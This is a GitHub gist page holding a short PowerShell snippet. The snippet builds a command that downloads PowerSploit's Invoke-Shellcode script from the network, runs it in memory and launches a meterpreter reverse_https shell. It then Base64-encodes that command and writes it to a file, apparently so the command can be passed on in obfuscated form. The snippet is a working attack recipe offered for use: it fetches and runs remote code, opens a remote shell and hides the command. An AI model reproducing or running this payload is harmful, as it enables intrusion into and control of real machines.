Skip to content

Instantly share code, notes, and snippets.

@SunnyHoi
Created January 8, 2018 04:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SunnyHoi/833af27bc15cc9517ea82fc79dd5703d to your computer and use it in GitHub Desktop.
Save SunnyHoi/833af27bc15cc9517ea82fc79dd5703d to your computer and use it in GitHub Desktop.
$command=”IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 127.0.0.1 -Lport 443 -Force”
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand >> output.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment